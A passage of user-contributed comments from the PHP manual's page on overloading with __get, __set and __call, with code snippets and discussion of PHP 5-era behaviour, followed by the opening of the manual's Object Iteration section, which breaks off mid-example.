  public function __call ($member, $arguments) {
    if(is_object($arguments[0]))
      $member = $member . 'Object';
    if(is_array($arguments[0]))
      $member = $member . 'Array';
    $this -> $member($arguments);
  }

  private function testArray () {
    echo "Array.";
  }

  private function testObject () {
    echo "Object.";
  }
}

class B {
}

$class = new A;
$class -> test(array()); // echo's 'Array.'
$class -> test(new B); // echo's 'Object.'
?>

Of course, the use of this is questionable (I have never needed it myself, but then again, I only have a very minimalistic C++ & JAVA background). However, using this general principle and optionally building forth on other suggestions a 'form' of overloading is definately possible, provided you have some strict naming conventions in your functions.

It would of course become a LOT easier once PHP'd let you declare the same member several times but with different arguments, since if you combine that with the reflection class 'real' overloading comes into the grasp of a good OO programmer. Lets keep our fingers crossed!
anthony dot parsons at manx dot net 09-Nov-2007 02:57
You can't use __set to set arrays, but if you really want to, you can emulate it yourself:
<?php
class test {
    public $x = array();
    public $y = array();
    function __set($var, $value)
    {
        if ( preg_match('/(.*)\[(.*)\]/', $var, $names) ) {
            $this->y[$names[1]][$names[2]] = $value;
        }
        else {
            $this->x[$var] = $value;
        }
    }
}

$z = new test;
$z->variable = 'abc';
$z->{'somearray[key]'} = 'def';

var_dump($z->x);
var_dump($z->y);
?>
php_is_painful at world dot real 19-Oct-2007 07:49
This is a misuse of the term overloading. This article should call this technique "interpreter hooks".
bgoldschmidt at rapidsoft dot de 28-Sep-2007 01:23
"These methods will only be triggered when your object or inherited object doesn't contain the member or method you're trying to access."
is not quite correct:
they get called when the member you trying to access in not visible:

<?php
class test {

  public $a;
  private $b;

  function __set($name, $value) {
    echo("__set called to set $name to $value\n");
    $this->$name = $value;
  }
}

$t = new test;
$t->a = 'a';
$t->b = 'b';

?>

Outputs:
__set called to set b to b

Be aware that set ist not called for public properties
lokrain at gmail dot com 26-Sep-2007 02:05
Let us look at the following example:

<?php
class objDriver {
    private $value;

    public function __construct()
    {
        $value = 1;
    }

    public function doSomething($parameterList)
    {
        //We make actions with the value
    }
}

class WantStaticCall {
    private static $objectList;

    private function __construct()

    public static function init()
    {
         self::$objectList = array();
    }

    public static function register($alias)
    {
        self::$objectList[$alias] = new objDriver();
    }

    public static function __call($method, $arguments)
    {
        $alias = $arguments[0];
    array_shift($arguments);
        call_user_method($method, self::$objectList[$alias], $arguments);
    }
}

// The deal here is to use following code:
WantStaticCall::register('logger');
WantStaticCall::doSomething('logger', $argumentList);

// and we will make objDriver to call his doSomething function with arguments
// $argumentList. This is not common pattern but very usefull in some cases.
// The problem here is that __call() cannot be static, Is there a way to work it around
?>
Typer85 at gmail dot com 18-Sep-2007 08:28
Just to clarify something the manual states about method overloading.

"All overloading methods must be defined as public."

As of PHP 5.2.2, this should be considered more of a coding convention rather than a requirement. In PHP 5.2.2, declaring a __get or __set function with a visibility other than public, will be silently ignored by the parser and will not trigger a parse error!

What is more, PHP will completely ignore the visibility modifier either of these functions are declared with and will always treat them as if they were public.

I am not sure if this is a bug or not so to be on the safe side,
stick with always declaring them public.
egingell at sisna dot com 15-Sep-2007 05:12
Small vocabulary note: This is *not* "overloading", this is "overriding".

Overloading: Declaring a function multiple times with a different set of parameters like this:
<?php

function foo($a) {
    return $a;
}

function foo($a, $b) {
    return $a + $b;
}

echo foo(5); // Prints "5"
echo foo(5, 2); // Prints "7"

?>

Overriding: Replacing the parent class's method(s) with a new method by redeclaring it like this:
<?php

class foo {
    function new($args) {
        // Do something.
    }
}

class bar extends foo {
    function new($args) {
        // Do something different.
    }
}

?>
ac221 at sussex dot ac dot uk 01-Sep-2007 10:07
Just Noting the interesting behavior of __set __get , when modifying objects contained in overloaded properties.

<?php
class foo {
    public $propObj;
    public function __construct(){
        $propObj = new stdClass();
    }
    public function __get($prop){
        echo("I'm Being Got ! \n");
        return $this->propObj->$prop;
    }
    public function __set($prop,$val){
        echo("I'm Being Set ! \n");
        $this->propObj->$prop = $val;
    }
}
$test = new foo();
$test->barProp = new stdClass(); // I should invoke set
$test->barProp->barSubProp = 'As Should I';
$test->barProp->barSubProp = 'As Should I';
$test->barProp = new stdClass(); // As should i
?>

Outputs:

I'm Being Set !
I'm Being Got !
I'm Being Got !
I'm Being Set !

Whats happening, is PHP is acquiring a reference to the object, triggering __get; Then applying the changes to the object via the reference.

Which is the correct behaviour; objects being special creatures, with an aversion to being cloned...

Unfortunately this will never invoke the __set handler, even though it is modifying a property within 'foo', which is slightly annoying if you wanted to keep track of changes to an objects overloaded properties.

I guess Journaled Objects will have to wait till PHP 6 :)
stephen dot cuppett at webmastersinc dot net 16-Aug-2007 07:10
Please note, this example will not work on later PHP versions.  You must return from __get() by reference using &__get()
php at sleep is the enemy dot co dot uk 23-Jul-2007 07:23
Just to reinforce and elaborate on what DevilDude at darkmaker dot com said way down there on 22-Sep-2004 07:57.

The recursion detection feature can prove especially perilous when using __set. When PHP comes across a statement that would usually call __set but would lead to recursion, rather than firing off a warning or simply not executing the statement it will act as though there is no __set method defined at all. The default behaviour in this instance is to dynamically add the specified property to the object thus breaking the desired functionality of all further calls to __set or __get for that property.

Example:

<?php

class TestClass{

    public $values = array();

    public function __get($name){
        return $this->values[$name];
    }

    public function __set($name, $value){
        $this->values[$name] = $value;
        $this->validate($name);
    }

    public function validate($name){
        /*
        __get will be called on the following line
        but as soon as we attempt to call __set
        again PHP will refuse and simply add a
        property called $name to $this
        */
        $this->$name = trim($this->$name);
    }
}

$tc = new TestClass();

$tc->foo = 'bar';
$tc->values['foo'] = 'boing';

echo '$tc->foo == ' . $tc->foo . '<br>';
echo '$tc ' . (property_exists($tc, 'foo') ? 'now has' : 'still does not have') . ' a property called "foo"<br>';

/*
OUPUTS:
$tc->foo == bar
$tc now has a property called "foo"
*/

?>
Adeel Khan 10-Jul-2007 01:18
Observe:

<?php
class Foo {
    function __call($m, $a) {
        die($m);
    }
}

$foo = new Foo;
print $foo->{'wow!'}();

// outputs 'wow!'
?>

This method allows you to call functions with invalid characters.
alexandre at nospam dot gaigalas dot net 07-Jul-2007 10:59
PHP 5.2.1

Its possible to call magic methods with invalid names using variable method/property names:

<?php

class foo
{
    function __get($n)
    {
        print_r($n);
    }
    function __call($m, $a)
    {
        print_r($m);
    }
}

$test = new foo;
$varname = 'invalid,variable+name';
$test->$varname;
$test->$varname();

?>

I just don't know if it is a bug or a feature :)
BenBE at omorphia dot de 05-May-2007 10:48
While playing a bit with the __call magic method I found you can not emulate implementing methods of an interface as you might think:

<?php
class Iteratable implements Iterator {
    public function __call($funcname) {
        if(in_array($funcname, array('current', 'next', /*...*/)) {
            //Redirect the call or perform the actual action
        }
    }
}
?>

Using this code you'll get a "class Iteratable contains abstract methods ..." fatal error message. You'll ALWAYS have to implement those routines by hand.
mafu at spammenot-mdev dot dk 24-Feb-2007 02:24
As a reply to james at thunder-removeme-monkey dot net, I found that there is a much simpler way to restore the behavior of __get() to 5.1.x state; just force __get() to return by reference, like this:

<?php
class View {
  /* Somewhere to store our overloaded properties */
  private $v = array();

  /* Store a new property */
  function __set($varName, $varValue) {
   $this->v[$varName] = $varValue;
  }

  /* Retrieve a property */
  function & __get($varName) {
   if(!isset($this->v[$varName])) {
     $this->v[$varName] = NULL;
   }
   return $this->v[$varName];
  }
}
?>

The only problem is that the code generates a notice if null is returned in __get(), because null cannot be returned by reference. If somebody finds a solution, feel free to email me. :)

Cheers
james at thunder-removeme-monkey dot net 31-Jan-2007 01:07
Following up on the comment by "jstubbs at work-at dot co dot jp" and after reading "http://weierophinney.net/matthew/archives/ 131-Overloading-arrays-in-PHP-5.2.0.html", the following methods handle property overloading pretty neatly and return variables in read/write mode.

<?php
class View {
  /* Somewhere to store our overloaded properties */
  private $v = array();

  /* Store a new property */
  function __set($varName, $varValue) {
    $this->v[$varName] = $varValue;
  }

  /* Retrieve a property */
  function __get($varName) {
    if(!isset($this->v[$varName])) {
      $this->v[$varName] = NULL;
    }
    return is_array($this->v[$varName]) ? new ArrayObject($this->v[$varName]) : $this->v[$varName];
  }
}
?>

This is an amalgm of previous solutions with the key difference being the use of ArrayObject in the return value. This is more flexible than having to extend the whole class from ArrayObject.

Using the above class, we can do ...

<?php
$obj = new SomeOtherObject();
$view = new View();

$view->list = array();
$view->list[] = "hello";
$view->list[] = "goat";
$view->list[] = $group;
$view->list[] = array("a", "b", "c");
$view->list[3][] = "D";
$view->list[2]->aprop = "howdy";

/*
$view->list now contains:
[0] => "hello"
[1] => "goat"
[2] => SomeOtherObject { aprop => "howdy" }
[3] => array("a", "b", "c", "D")

and
$obj === $view->list[2] // equates to TRUE
*/
?>
mhherrera31 at hotmail dot com 25-Nov-2006 10:11
example for read only properties in class object. Lets you manage read only properties with var names like $ro_var.

The property must be PRIVATE, otherwise the overload method __get doesn't be called.

<?php
class Session {
 private $ro_usrName;

 function __construct (){
  $this->ro_usrName = "Marcos";
 }

 function __set($set, $val){
  if(property_exists($this,"ro_".$set))
    echo "The property '$set' is read only";
  else
    if(property_exists($this,$set))
      $this->{$set}=$val;
    else
      echo "Property '$set' doesn't exist";
 }

 function __get{$get}{
  if(property_exists($this,"ro_".$get))
    return $this->{"ro_".$get};
  else
    if(property_exists($this,$get))
     return $this->{$get};
    else
     echo "Property '$get' doesn't exist";
 }
}
?>
MagicalTux at ooKoo dot org 06-Sep-2006 02:35
Since many here probably wanted to do «real» overloading without having to think too much, here's a generic __call() function for those cases.

Little example :
<?php
class OverloadedClass {
        public function __call($f, $p) {
                if (method_exists($this, $f.sizeof($p))) return call_user_func_array(array($this, $f.sizeof($p)), $p);
                // function does not exists~
                throw new Exception('Tried to call unknown method '.get_class($this).'::'.$f);
        }

        function Param2($a, $b) {
                echo "Param2($a,$b)\n";
        }

        function Param3($a, $b, $c) {
                echo "Param3($a,$b,$c)\n";
        }
}

$o = new OverloadedClass();
$o->Param(4,5);
$o->Param(4,5,6);
$o->ParamX(4,5,6,7);
?>

Will output :
Param2(4,5)
Param3(4,5,6)

Fatal error: Uncaught exception 'Exception' with message 'Tried to call unknown method OverloadedClass::ParamX' in overload.php:7
Stack trace:
#0 [internal function]: OverloadedClass->__call('ParamX', Array)
#1 overload.php(22): OverloadedClass->ParamX(4, 5, 6, 7)
#2 {main}
  thrown in overload.php on line 7
jstubbs at work-at dot co dot jp 02-Sep-2006 09:12
<?php $myclass->foo['bar'] = 'baz'; ?>

When overriding __get and __set, the above code can work (as expected) but it depends on your __get implementation rather than your __set. In fact, __set is never called with the above code. It appears that PHP (at least as of 5.1) uses a reference to whatever was returned by __get. To be more verbose, the above code is essentially identical to:

<?php
$tmp_array = &$myclass->foo;
$tmp_array['bar'] = 'baz';
unset($tmp_array);
?>

Therefore, the above won't do anything if your __get implementation resembles this:

<?php
function __get($name) {
    return array_key_exists($name, $this->values)
        ? $this->values[$name] : null;
}
?>

You will actually need to set the value in __get and return that, as in the following code:

<?php
function __get($name) {
    if (!array_key_exists($name, $this->values))
        $this->values[$name] = null;
    return $this->values[$name];
}
?>
mnaul at nonsences dot angelo dot edu 11-Jul-2006 12:58
This is just my contribution. It based off of many diffrent suggestions I've see thought the manual postings.
It should fit into any class and create default get and set methods for all you member variables. Hopfuly its usefull.
<?php
    public function __call($name,$params)
    {
        if( preg_match('/(set|get)(_)?/',$name) )
        {
            if(substr($name,0,3)=="set")
            {
                $name = preg_replace('/set(_)?/','',$name);
                if(property_exists(__class__,$name))
                {
                        $this->{$name}=array_pop($params);
                    return true;
                }
                else
                {
                    //call to class error handler
                    return false;
                }
                return true;
            }
            elseif(substr($name,0,3)=="get")
            {
                $name = preg_replace('/get(_)?/','',$name);
                if(property_exists(__class__,$name) )
                {
                    return $this->{$name};
                }
                else
                {
                    //call to class error handler
                    return false;
                }
            }
            else
            {
                //call to class error handler
                return false;
            }
        }
        else
        {
            die("method $name dose not exist\n");
        }
        return false;
    }
me at brenthagany dot com 12-Apr-2006 10:52
Regarding the post by TJ earlier, about the problems extending DOMElement.  Yes, it is true that you can't set extDOMElement::ownerDocument directly; however, you could append the extDOMElement to a DOMDocument in __construct(), which indirectly sets ownerDocument.  It should work something like so:

<?php
class extDOMElement extends DOMElement {

  public function __construct(DOMDocument $doc) {
    $doc->appendChild($this);  //extDOMElement::ownerDocument is now equal to the object that $doc points to
  }
}
?>

Now, I admit I've never actually needed to do this, but I see no reason why it shouldn't work.
Sleepless 23-Feb-2006 11:22
Yet another way of providing support for read-only properties.  Any property that has
"pri_" as a prefix will NOT be returned, period, any other property will be returned
and if it was declared to be "protected" or "private" it will be read-only. (scope dependent of course)

<?php
function __get($var){
        if (property_exists($this,$var) && (strpos($var,"pri_") !== 0) )
            return $this->{$var};
        else
            //Do something
}
?>
Eric Lafkoff 21-Feb-2006 10:56
If you're wondering how to create read-only properties for your class, the __get() and __set() functions are what you're looking for. You just have to create the framework and code to implement this functionality.

Here's a quick example I've written. This code doesn't take advantage of the "type" attribute in the properties array, but is there for ideas.

<?php

class Test {

    private $p_arrPublicProperties = array(
            "id" => array("value" => 4,
                    "type" => "int",
                    "readonly" => true),
            "datetime" => array("value" => "Tue 02/21/2006 20:49:23",
                    "type" => "string",
                    "readonly" => true),
            "data" => array("value" => "foo",
                    "type" => "string",
                    "readonly" => false)
            );

    private function __get($strProperty) {
        //Get a property:
        if (isset($this->p_arrPublicProperties[$strProperty])) {
            return $this->p_arrPublicProperties[$strProperty]["value"];
        } else {
            throw new Exception("Property not defined");
            return false;
        }
    }

    private function __set($strProperty, $varValue) {
        //Set a property to a value:
        if (isset($this->p_arrPublicProperties[$strProperty])) {
            //Check if property is read-only:
            if ($this->p_arrPublicProperties[$strProperty]["readonly"]) {
                throw new Exception("Property is read-only");
                return false;
            } else {
                $this->p_arrPublicProperties[$strProperty]["value"] = $varValue;
                return true;
            }
        } else {
            throw new Exception("Property not defined");
            return false;
        }
    }

    private function __isset($strProperty) {
        //Determine if property is set:
        return isset($this->p_arrPublicProperties[$strProperty]);
    }

    private function __unset($strProperty) {
        //Unset (remove) a property:
        unset($this->p_arrPublicProperties[$strProperty]);
    }

}

$objTest = new Test();

print $objTest->data . "\n";

$objTest->data = "bar"; //Works.
print $objTest->data;

$objTest->id = 5; //Error: Property is read-only.

?>
derek-php at seysol dot com 10-Feb-2006 12:08
Please note that PHP5 currently doesn't support __call return-by-reference (see PHP Bug #30959).

Example Code:

<?php

    class test {
        public function &__call($method, $params) {

            // Return a reference to var2
            return $GLOBALS['var2'];
        }
        public function &actual() {

            // Return a reference to var1
            return $GLOBALS['var1'];
        }
    }

    $obj = new test;
    $GLOBALS['var1'] = 0;
    $GLOBALS['var2'] = 0;

    $ref1 =& $obj->actual();
    $GLOBALS['var1']++;

    echo "Actual function returns: $ref1 which should be equal to " . $GLOBALS['var1'] . "<br/>\n";

    $ref2 =& $obj->overloaded();
    $GLOBALS['var2']++;

    echo "Overloaded function returns: $ref2 which should be equal to " . $GLOBALS['var2'] . "<br/>\n";

?>
PHP at jyopp dotKomm 22-Dec-2005 11:01
Here's a useful class for logging function calls.  It stores a sequence of calls and arguments which can then be applied to objects later.  This can be used to script common sequences of operations, or to make "pluggable" operation sequences in header files that can be replayed on objects later.

If it is instantiated with an object to shadow, it behaves as a mediator and executes the calls on this object as they come in, passing back the values from the execution.

This is a very general implementation; it should be changed if error codes or exceptions need to be handled during the Replay process.
<?php
class MethodCallLog {
    private $callLog = array();
    private $object;

    public function __construct($object = null) {
        $this->object = $object;
    }
    public function __call($m, $a) {
        $this->callLog[] = array($m, $a);
        if ($this->object) return call_user_func_array(array(&$this->object,$m),$a);
        return true;
    }
    public function Replay(&$object) {
        foreach ($this->callLog as $c) {
            call_user_func_array(array(&$object,$c[0]), $c[1]);
        }
    }
    public function GetEntries() {
        $rVal = array();
        foreach ($this->callLog as $c) {
            $rVal[] = "$c[0](".implode(', ', $c[1]).");";
        }
        return $rVal;
    }
    public function Clear() {
        $this->callLog = array();
    }
}

$log = new MethodCallLog();
$log->Method1();
$log->Method2("Value");
$log->Method1($a, $b, $c);
// Execute these method calls on a set of objects...
foreach ($array as $o) $log->Replay($o);
?>
trash80 at gmail dot com 03-Dec-2005 08:59
Problem: $a->b->c(); when b is not instantiated.
Answer: __get()

<?php

class a
{
   function __get($v)
   {
       $this->$v = new $v;
       return $this->$v;
   }
}

class b
{
    function say($word){
        echo $word;
    }
}
$a = new a();
$a->b->say('hello world');

// echos 'hello world'
?>
TJ <php at tjworld dot net> 03-Nov-2005 10:11
Using the getter/setter methods to provide read-only access to object properties breaks the conventional understanding of inheritence.

A super class using __set() to make a property read-only cannot be properly inherited because the visible (read-only) property - with conventional public or protected visibility - cannot be set in the sub-class.

The sub-class cannot overload the super class's __set() method either, and therefore the inheritence is severely compromised.

I discovered this issue while extending DOMDocument and particularly DOMElement.
When extDOMDocument->createElement() creates a new extDOMElement, extDOMElement->__construct() can't set the extDOMElement->ownerDocument property because it's read-only.

DOMElements are totally read-only if they do not have an ownerDocument, and there's no way to set it in this scenario, which makes inheritence pretty pointless.
seufert at gmail dot com 01-Nov-2005 04:25
This allows you to seeminly dynamically overload objects using plugins.

<?php

class standardModule{}

class standardPlugModule extends standardModule
{
  static $plugptrs;
  public $var;
  static function plugAdd($name, $mode, $ptr)
  {
    standardPlugModule::$plugptrs[$name] = $ptr;
  }
  function __call($fname, $fargs)
  { print "You called __call($fname)\n";
    $func = standardPlugModule::$plugptrs[$fname];
    $r = call_user_func_array($func, array_merge(array($this),$fargs));
    print "Done: __call($fname)\n";
    return $r;
  }
  function dumpplugptrs() {var_dump(standardPlugModule::$plugptrs); }
}

class a extends standardPlugModule
{ function text() { return "Text"; } }
//Class P contained within a seperate file thats included
class p
{ static function plugin1($mthis, $r)
  { print "You called p::plugin1\n";
    print_r($mthis);
    print_r($r);
  }
} a::plugAdd('callme', 0, array('p','plugin1'));

//Class P contained within a seperate file thats included
class p2
{ static function plugin2($mthis, $r)
  { print "You called p2::plugin2\n";
    $mthis->callme($r);
  }
} a::plugAdd('callme2', 0, array('p2','plugin2'));

$t = new a();
$testr = array(1,4,9,16);
print $t->text()."\n";
$t->callme2($testr);
//$t->dumpplugptrs();

?>

Will result in:
----------
Text
You called __call(callme2)
You called p2::plugin2
You called __call(callme)
You called p::plugin1
a Object
(
    [var] =>
)
Array
(
    [0] => 1
    [1] => 4
    [2] => 9
    [3] => 16
)
Done: __call(callme)
Done: __call(callme2)
----------

This also clears up a fact that you can nest __call() functions, you could use this to get around the limits to __get() not being able to be called recursively.
26-Aug-2005 07:32
To those who wish for "real" overloading: there's not really any advantage to using __call() for this -- it's easy enough with func_get_args(). For example:

<?php

    class Test
    {

        public function Blah()
        {

            $args = func_get_args();

            switch (count($args))
            {
                case 1: /* do something */ break;
                case 2: /* do something */ break;
            }

        }

    }

?>
NOTE: getter cannot call getter 04-Aug-2005 12:37
By Design (http://bugs.php.net/bug.php?id=33998) you cannot call a getter from a getter or any function triggered by a getter:

<?php
class test
{
    protected $_a = 6;

    function __get($key) {
        if($key == 'stuff') {
            return $this->stuff();
        } else if($key == 'a') {
            return $this->_a;
        }
    }

    function stuff()
    {
        return array('random' => 'key', 'using_getter' => 10 * $this->a);
    }
}

$test = new test();
print 'this should be 60: '.$test->stuff['using_getter'].'<br/>';       // prints "this should be 60: 0"
// [[ Undefined property:  test::$a ]] on /var/www/html/test.php logged.
print 'this should be 6: '.$test->a.'<br/>';                            // prints "this should be 6: 6"
?>
06-May-2005 03:50
Please note that PHP5's overloading behaviour is not compatible at all with PHP4's overloading behaviour.
Marius 02-May-2005 02:15
for anyone who's thinking about traversing some variable tree
by using __get() and __set(). i tried to do this and found one
problem: you can handle couple of __get() in a row by returning
an object which can handle consequential __get(), but you can't
handle __get() and __set() that way.
i.e. if you want to:
<?php
    print($obj->val1->val2->val3); // three __get() calls
?> - this will work,
but if you want to:
<?php
    $obj->val1->val2 = $val; // one __get() and one __set() call
?> - this will fail with message:
"Fatal error: Cannot access undefined property for object with
 overloaded property access"
however if you don't mix __get() and __set() in one expression,
it will work:
<?php
    $obj->val1 = $val; // only one __set() call
    $val2 = $obj->val1->val2; // two __get() calls
    $val2->val3 = $val; // one __set() call
?>

as you can see you can split __get() and __set() parts of
expression into two expressions to make it work.

by the way, this seems like a bug to me, will have to report it.
ryo at shadowlair dot info 22-Mar-2005 10:22
Keep in mind that when your class has a __call() function, it will be used when PHP calls some other magic functions. This can lead to unexpected errors:

<?php
class TestClass {
    public $someVar;

    public function __call($name, $args) {
        // handle the overloaded functions we know...
        // [...]

        // raise an error if the function is unknown, just like PHP would
        trigger_error(sprintf('Call to undefined function: %s::%s().', get_class($this), $name), E_USER_ERROR);
    }
}

$obj = new TestClass();
$obj->someVar = 'some value';

echo $obj; //Fatal error: Call to undefined function: TestClass::__tostring().
$serializedObj = serialize($obj); // Fatal error: Call to undefined function: TestClass::__sleep().
$unserializedObj = unserialize($someSerializedTestClassObject); // Fatal error: Call to undefined function: TestClass::__wakeup().
?>
thisisroot at gmail dot com 18-Feb-2005 07:27
You can't mix offsetSet() of the ArrayAccess interface (http://www.php.net/~helly/php/ext/spl/interfaceArrayAccess.html) and __get() in the same line.

Below, "FileManagerPrefs" is an object of class UserData which implements ArrayAccess. There's a protected array of UserData objects in the User class, which are returned from __get().
<?php
// This produces an error...
Application::getInstance()->user->FileManagerPrefs[ 'base'] = 'uploads/jack';
?>

Creates this error:
Fatal error: Cannot access undefined property for object with overloaded property access in __FILE__ on line __LINE__

However, __get() and offsetGet() play deceptively well together.

<?php
// This works fine!
echo Application::getInstance()->user->FileManager['base'];
?>

I guess it's a dereferencing issue with __get(). In my case, it makes more sense to have a middle step (user->data['FileManager']['base']), but I wanted to tip off the community before I move on.
mileskeaton at gmail dot com 23-Dec-2004 12:23
<?php

## THE PROBLEM:  Class with lots of attributes.
## You want to use $o->getVarName() or $o->get_varname() style getters
## Some attributes have custom get functions, but the rest don't

## THE SOLUTION:  __call

class Person
    {
    ## this top stuff is just an example.  could be anything.
    private $name;
    private $age;
    private $weight;
    function __construct($name, $age, $weight)
        {
        $this->name = $name;
        $this->age = $age;
        $this->weight = $weight;
        }

    ##     PORTABLE: use this __call function in any class
    function __call($val, $x)
        {
        # see if they're calling a getter method - and try to guess the variable requested
        if(substr($val, 0, 4) == 'get_')
            {
            $varname = substr($val, 4);
            }
        elseif(substr($val, 0, 3) == 'get')
            {
            $varname = substr($val, 3);
            }
        else
            {
            die("method $val does not exist\n");
            }
        # now see if that variable exists:
        foreach($this as $class_var=>$class_var_value)
            {
            if(strtolower($class_var) == strtolower($varname))
                {
                return $class_var_value;
                }
            }
        return false;
        }

    # IMPORTANT: you can keep some things private - or treat
    # some vars differently by giving them their own getter method
    # See how this function lies about Person's weight.
    function getWeight()
        {
        return intval($this->weight * .8);
        }
    }

$a = new Person('Miles', 35, 200);

# these all work (case-insensitive):
print $a->get_name() . "\n";
print $a->getName() . "\n";
print $a->get_Name() . "\n";
print $a->getname() . "\n";

print $a->get_age() . "\n";
print $a->getAge() . "\n";
print $a->getage() . "\n";
print $a->get_Age() . "\n";

# defined functions still override the __call
print $a->getWeight() . "\n";

# trying to get something that doesn't exist returns false
print $a->getNothing();

# this still gets error:
print $a->hotdog();

?>
richard dot quadling at bandvulc dot co dot uk 26-Nov-2004 05:54
<?php

abstract class BubbleMethod
    {
    public $objOwner;

    function __call($sMethod, $aParams)
        {
// Has the Owner been assigned?
        if (isset($this->objOwner))
            {
            return call_user_func_array(array($this->objOwner, $sMethod), $aParams);
            }
        else
            {
            echo 'Owner for ' . get_class($this) . ' not assigned.';
            }
        }
    }

class A_WebPageContainer
    {
    private $sName;

    public function __construct($sName)
        {
        $this->sName = $sName;
        }

    public function GetWebPageContainerName()
        {
        return $this->sName;
        }
    }

class A_WebFrame extends BubbleMethod
    {
    private $sName;

    public function __construct($sName)
        {
        $this->sName = $sName;
        }

    public function GetWebFrameName()
        {
        return $this->sName;
        }
    }

class A_WebDocument extends BubbleMethod
    {
    private $sName;

    public function __construct($sName)
        {
        $this->sName = $sName;
        }

    public function GetWebDocumentName()
        {
        return $this->sName;
        }
    }

class A_WebForm extends BubbleMethod
    {
    private $sName;

    public function __construct($sName)
        {
        $this->sName = $sName;
        }

    public function GetWebFormName()
        {
        return $this->sName;
        }
    }

class A_WebFormElement extends BubbleMethod
    {
    private $sName;

    public function __construct($sName)
        {
        $this->sName = $sName;
        }

    public function GetWebFormElementName()
        {
        return $this->sName;
        }
    }

$objWPC = new A_WebPageContainer('The outer web page container.');

$objWF1 = new A_WebFrame('Frame 1');
$objWF1->objOwner = $objWPC;

$objWF2 = new A_WebFrame('Frame 2');
$objWF2->objOwner = $objWPC;

$objWD1 = new A_WebDocument('Doc 1');
$objWD1->objOwner = $objWF1;

$objWD2 = new A_WebDocument('Doc 2');
$objWD2->objOwner = $objWF2;

$objWFrm1 = new A_WebForm('Form 1');
$objWFrm1->objOwner = $objWD1;

$objWFrm2 = new A_WebForm('Form 2');
$objWFrm2->objOwner = $objWD2;

$objWE1 = new A_WebFormElement('Element 1');
$objWE1->objOwner = $objWFrm1;

$objWE2 = new A_WebFormElement('Element 2');
$objWE2->objOwner = $objWFrm1;

$objWE3 = new A_WebFormElement('Element 3');
$objWE3->objOwner = $objWFrm2;

$objWE4 = new A_WebFormElement('Element 4');
$objWE4->objOwner = $objWFrm2;

echo "The name of the form that '" . $objWE1->GetWebFormElementName() . "' is in is '" . $objWE1->GetWebFormName() . "'<br />";
echo "The name of the document that '" . $objWE2->GetWebFormElementName() . "' is in is '" . $objWE2->GetWebDocumentName(). "'<br />";
echo "The name of the frame that '" . $objWE3->GetWebFormElementName() . "' is in is '" . $objWE3->GetWebFrameName(). "'<br />";
echo "The name of the page container that '" . $objWE4->GetWebFormElementName() . "' is in is '" .$objWE4->GetWebPageContainerName(). "'<br />";
?>

Results in.

The name of the form that 'Element 1' is in is 'Form 1'
The name of the document that 'Element 2' is in is 'Doc 1'
The name of the frame that 'Element 3' is in is 'Frame 2'
The name of the page container that 'Element 4' is in is 'The outer web page container.'

By using the abstract BubbleMethod class as the starting point for further classes that are contained inside others (i.e. elements on a form are contained in forms, which are contained in documents which are contained in frames which are contained in a super wonder global container), you can find properties of owner without knowing their direct name.

Some work needs to be done on what to do if no method exists though.
xorith at gmail dot com 06-Oct-2004 07:40
A few things I've found about __get()...

First off, if you use $obj->getOne->getAnother, both intended to be resolved by __get, the __get() function only sees the first one at first. You can't access the second one. You can, however, return the pointer to an object that can handle the second one. In short, you can have the same class handle both by returning a new object with the data changed however you see fit.

Secondly, when using arrays like: $obj->getArray["one"], only the array name is passed on to __get. However, when you return the array, PHP treats it just as it should. THat is, you'd have to make an array with the index of "one" in __get in order to see any results. You can also have other indexes in there as well.

Also, for those of you like me, I've already tried to use func_get_args to see if you can get more than just that one.

If you're like me and were hoping you could pass some sort of argument onto __get in order to help gather the correct data, you're out of look. I do recommend using __call though. You could easily rig __call up to react to certain things, like: $account->properties( "type" );, which is my example. I'm using DOM for data storage (for now), and I'm trying to make an interface that'll let me easily switch to something else - MySQL, flat file, anything. This would work great though!

Hope I've been helpful and I hope I didn't restate something already stated.
anthony at ectrolinux dot com 25-Sep-2004 06:40
For anyone who is interested in overloading a class method based on the number of arguments, here is a simplified example of how it can be accomplished:

<?php

function Error($message) { trigger_error($message, E_USER_ERROR); exit(1); }

class Framework
{
    // Pseudo function overloading
    public function __call($func_name, $argv)
    {
        $argc = sizeof($argv);

        switch ($func_name) {
        case 'is_available':
            $func_name = ($argc == 2) ? 'is_available_single' : 'is_available_multi';
            break;

        default: // If no applicable function was found, generate the default PHP error message.
            Error('Call to undefined function Framework::'. $func_name .'().');
        }

        return call_user_func_array(array(&$this, $func_name), $argv);
    }

    // protected array is_available_multi($mod_name, $mod_addon_0 [, $mod_addon_1 [, ...]])
    protected function is_available_multi()
    {
        if (($argc = func_num_args()) < 2) {
            Error('A minimum of two arguments are required for Framework::is_available().');
        }

        $available_addons = array();
        // --snip--

        return $available_addons;
    }

    protected function is_available_single($mod_name, $mod_addon)
    {
        // --snip--

        return true;
    }
}

$fw = new Framework;

$test_one = $fw->is_available('A_Module_Name', 'An_Addon');
var_dump($test_one);
// Test one produces a boolean value, supposedly representing whether 'An_Addon' is available and can be used.

$test_two = $fw->is_available('A_Module_Name', 'Addon_0', 'Addon_1', 'Addon_2');
var_dump($test_two);
// Test two produces an array, supposedly listing any of the three 'Addon_N' modules that are available and can be used.

// Here are the actual results of the above:
//    bool(true)
//    array(0) {
//    }

?>

---

By adding additional case statements to Framework::__call(), methods can easily be overloaded as needed. It's also possible to add any other overloading criteria you require inside the switch statement, allowing for more intricate overloading functionality.
DevilDude at darkmaker dot com 22-Sep-2004 07:57
Php 5 has a simple recursion system that stops you from using overloading within an overloading function, this means you cannot get an overloaded variable within the __get method, or within any functions/methods called by the _get method, you can however call __get manualy within itself to do the same thing.
Traits
Object Iteration
Classes and Objects


Object Iteration

PHP 5 provides a way for objects to be defined so it is possible to iterate through a list of items, with, for example a foreach statement. By default, all visible properties will be used for the iteration.

Example #1 Simple Object Iteration

<?php
class MyClass
{
    public $var1 = 'value 1';
    public $var2 = 'value 2';
    public $var3 = 'value 3';

    protected $protected = 'protected var';
    private   $private   = 'private var';

    function iterateVisible() {
       echo "MyClass::iterateVisible:\n";
       foreach($this as $key => $value) {
           print "$key => $value\n";
       }
    }
}

$class = new MyClass();

foreach($class as $key => $value) {
    print "$key => $value\n";
}
echo "\n";

$class->iterateVisible();

?>

The above example will output:

var1 => value 1
var2 => value 2
var3 => value 3

MyClass::iterateVisible:
var1 => value 1
var2 => value 2
var3 => value 3
protected => protected var
private => private var

As the output shows, the foreach iterated through all visible variables that can be accessed. To take it a step further you can implement one of PHP 5's internal interface named Iterator. This allows the object to decide what and how the object will be iterated.

Example #2 Object Iteration implementing Iterator

<?php
class MyIterator implements Iterator
{
